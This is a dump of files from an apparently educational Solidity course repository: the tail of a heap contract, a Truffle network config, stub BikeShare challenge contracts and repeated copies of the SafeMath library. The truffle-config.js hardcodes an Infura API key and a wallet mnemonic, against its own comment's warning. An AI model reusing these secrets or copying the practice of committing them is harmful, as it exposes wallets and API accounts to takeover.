heap[j]; 67 | // right child value 68 | uint256 rightChild = heap[j.add(1)]; 69 | 70 | // Compare the left and right child. if the rightChild is greater, then point j to it's index 71 | if (leftChild < rightChild) { 72 | j = j.add(1); 73 | } 74 | 75 | // compare the current parent value with the highest child, if the parent is greater, we're done 76 | if(heap[currentIndex] > heap[j]) { 77 | break; 78 | } 79 | 80 | // else swap the value 81 | (heap[currentIndex], heap[j]) = (heap[j], heap[currentIndex]); 82 | 83 | // and let's keep going down the heap 84 | currentIndex = j; 85 | } 86 | // finally, return the top of the heap 87 | return toReturn; 88 | } 89 | 90 | 91 | function getHeap() public view returns(uint256[]) { 92 | return heap; 93 | } 94 | 95 | function getMax() public view returns(uint256) { 96 | return heap[1]; 97 | } 98 | 99 | } -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura API 13 | * keys are available for free at: infura.io/register 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | const HDWalletProvider = require("truffle-hdwallet-provider"); 22 | const infuraKey = "227347f507a14ab3b95459a4ffeb613f"; 23 | // const infuraKey = process.env.INFURA_KEY; 24 | // 25 | // const fs = require('fs'); 26 | const mnemonic = "much repair shock carbon improve miss forget sock include bullet interest solution"; 27 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 28 | 29 | module.exports = { 30 | /** 31 | * Networks define how you connect to your ethereum client and let you set the 32 | * defaults web3 uses to send transactions. If you don't specify one truffle 33 | * will spin up a development blockchain for you on port 9545 when you 34 | * run `develop` or `test`. You can ask a truffle command to use a specific 35 | * network from the command line, e.g 36 | * 37 | * $ truffle test --network 38 | */ 39 | 40 | networks: { 41 | development: { 42 | host: "127.0.0.1", // Localhost (default: none) 43 | port: 8545, // Standard Ethereum port (default: none) 44 | network_id: "*", // Any network (default: none) 45 | }, 46 | 47 | ganache: { 48 | host: "127.0.0.1", // Localhost (default: none) 49 | port: 7545, // Standard Ethereum port (default: none) 50 | network_id: "*", // Any network (default: none) 51 | gasLimit: 8000000, 52 | gas: 8000000, 53 | // settings: { // See the solidity docs for advice about optimization and evmVersion 54 | // optimizer: { 55 | // enabled: true, 56 | // }, 57 | }, 58 | 59 | // Useful for deploying to a public network. 60 | // NB: It's important to wrap the provider as a function. 61 | ropsten: { 62 | provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/${infuraKey}`), 63 | network_id: 3, // Ropsten's id 64 | gas: 5500000, // Ropsten has a lower block limit than mainnet 65 | confirmations: 0, // # of confs to wait between deployments. (default: 0) 66 | timeoutBlocks: 50, // # of blocks before a deployment times out (minimum/default: 50) 67 | skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 68 | }, 69 | }, 70 | 71 | // Set default mocha options here, use special reporters etc. 72 | mocha: { 73 | // timeout: 100000 74 | }, 75 | 76 | // Configure your compilers 77 | compilers: { 78 | solc: { 79 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 80 | } 81 | }, 82 | solc: { 83 | optimizer: { 84 | enabled: true, 85 | runs: 200 86 | } 87 | }, 88 | }; 89 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/03/BikeShare.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.4.21; 4 | 5 | 6 | contract BikeShare { 7 | 8 | 9 | /************************************** 10 | * State variables 11 | **************************************/ 12 | // "Type" Bike, holds the owner, whether it is rented, and 13 | // the amount of kilometers ridden 14 | struct Bike { 15 | address owner; 16 | bool isRented; 17 | uint256 kms; 18 | } 19 | 20 | // Array of said bikes 21 | Bike[] bikes; 22 | 23 | // Mapping to keep track of the bikes rented 24 | mapping(address => uint256) bikeRented; 25 | 26 | // Mapping to keep track of user's credit balances 27 | mapping(address => uint256) credits; 28 | 29 | // Initial credit price 30 | uint256 creditPrice = 1 finney; 31 | // Initial cost per kilometer 32 | uint256 cpkm = 5; 33 | // Initial credits received for donating a bike 34 | uint256 donateCredits = 500; 35 | // Initial credits given for repairing a bike 36 | uint256 repairCredits = 250; 37 | 38 | /************************************** 39 | * constructor 40 | **************************************/ 41 | function BikeShare() { 42 | // Initialize with 5 bikes from the bikeshare owner 43 | for (uint8 i = 0; i < 5; i++) { 44 | bikes.push(Bike({ owner: msg.sender, isRented: false, kms: 0 })); 45 | } 46 | } 47 | 48 | /************************************** 49 | * Functions only accessible by the owner 50 | **************************************/ 51 | function setCreditPrice() {} 52 | function setCPKM() {} 53 | function setDonateCredits() {} 54 | function setRepairCredits() {} 55 | 56 | /************************************** 57 | * getters not provided by compiler 58 | **************************************/ 59 | function getAvailable(){} 60 | 61 | 62 | /************************************** 63 | * Function to get the credit balance of a user 64 | **************************************/ 65 | function getCreditBalance(address _addr) returns (uint256) { 66 | return credits[_addr]; 67 | } 68 | /************************************** 69 | * Function to purchase Credits 70 | **************************************/ 71 | function purchaseCredits() { 72 | // Calculate the amount of credits the user will get 73 | // NOTE: integer division floors the result 74 | uint256 amount = msg.value / creditPrice; 75 | // Add to the amount of credits the user has 76 | credits[msg.sender] += amount; 77 | } 78 | 79 | 80 | 81 | /************************************** 82 | * Donating function 83 | **************************************/ 84 | function donateBike() {} 85 | 86 | /************************************** 87 | * Rent a bike 88 | **************************************/ 89 | function rentBike() {} 90 | 91 | /************************************** 92 | * Ride a bike 93 | **************************************/ 94 | function rideBike() {} 95 | 96 | /************************************** 97 | * Return the bike 98 | **************************************/ 99 | function returnBike() {} 100 | 101 | /************************************** 102 | * default payable function, will call purchaseCredits 103 | **************************************/ 104 | function() {} 105 | } 106 | 107 | /* 108 | THIS CONTRACT IS ONLY MEANT TO BE USED FOR EDUCATIONAL PURPOSES. ANY AND ALL USES IS 109 | AT A USER'S OWN RISK AND THE AUTHOR HAS NO RESPONSIBILITY FOR ANY LOSS OF ANY KIND STEMMING 110 | THIS CODE. 111 | */ -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/04/BikeShare.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.4.21; 4 | 5 | 6 | contract BikeShare { 7 | 8 | 9 | /************************************** 10 | * State variables 11 | **************************************/ 12 | // "Type" Bike, holds the owner, whether it is rented, and 13 | // the amount of kilometers ridden 14 | struct Bike { 15 | address owner; 16 | bool isRented; 17 | uint256 kms; 18 | } 19 | 20 | // Array of said bikes 21 | Bike[] public bikes; 22 | 23 | // Mapping to keep track of the bikes rented 24 | mapping(address => uint256) public bikeRented; 25 | 26 | // Mapping to keep track of user's credit balances 27 | mapping(address => uint256) public credits; 28 | 29 | // Initial credit price 30 | uint256 internal creditPrice = 1 finney; 31 | // Initial cost per kilometer 32 | uint256 internal cpkm = 5; 33 | // Initial credits received for donating a bike 34 | uint256 internal donateCredits = 500; 35 | // Initial credits given for repairing a bike 36 | uint256 internal repairCredits = 250; 37 | 38 | /************************************** 39 | * constructor 40 | **************************************/ 41 | function BikeShare() public { 42 | // Initialize with 5 bikes from the bikeshare owner 43 | for (uint8 i = 0; i < 5; i++) { 44 | bikes.push(Bike({ owner: msg.sender, isRented: false, kms: 0 })); 45 | } 46 | } 47 | 48 | /************************************** 49 | * Functions only accessible by the owner 50 | **************************************/ 51 | function setCreditPrice() external {} 52 | function setCPKM() external {} 53 | function setDonateCredits() external {} 54 | function setRepairCredits() external {} 55 | 56 | /************************************** 57 | * getters not provided by compiler 58 | **************************************/ 59 | function getAvailable() public view returns (bool[]) {} 60 | 61 | 62 | /************************************** 63 | * Function to get the credit balance of a user 64 | **************************************/ 65 | function getCreditBalance(address _addr) public view returns (uint256) { 66 | return credits[_addr]; 67 | } 68 | /************************************** 69 | * Function to purchase Credits 70 | **************************************/ 71 | function purchaseCredits() private { 72 | // Calculate the amount of credits the user will get 73 | // NOTE: integer division floors the result 74 | uint256 amount = msg.value / creditPrice; 75 | // Add to the amount of credits the user has 76 | credits[msg.sender] += amount; 77 | } 78 | 79 | 80 | 81 | /************************************** 82 | * Donating function 83 | **************************************/ 84 | function donateBike() external {} 85 | 86 | /************************************** 87 | * Rent a bike 88 | **************************************/ 89 | function rentBike() external {} 90 | 91 | /************************************** 92 | * Ride a bike 93 | **************************************/ 94 | function rideBike() external {} 95 | 96 | /************************************** 97 | * Return the bike 98 | **************************************/ 99 | function returnBike() external {} 100 | 101 | /************************************** 102 | * default payable function, will call purchaseCredits 103 | **************************************/ 104 | function() payable public { 105 | purchaseCredits(); 106 | } 107 | } 108 | 109 | /* 110 | THIS CONTRACT IS ONLY MEANT TO BE USED FOR EDUCATIONAL PURPOSES. ANY AND ALL USES IS 111 | AT A USER'S OWN RISK AND THE AUTHOR HAS NO RESPONSIBILITY FOR ANY LOSS OF ANY KIND STEMMING 112 | THIS CODE. 113 | */ 114 | -------------------------------------------------------------------------------- /modules/course_token/contracts/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * 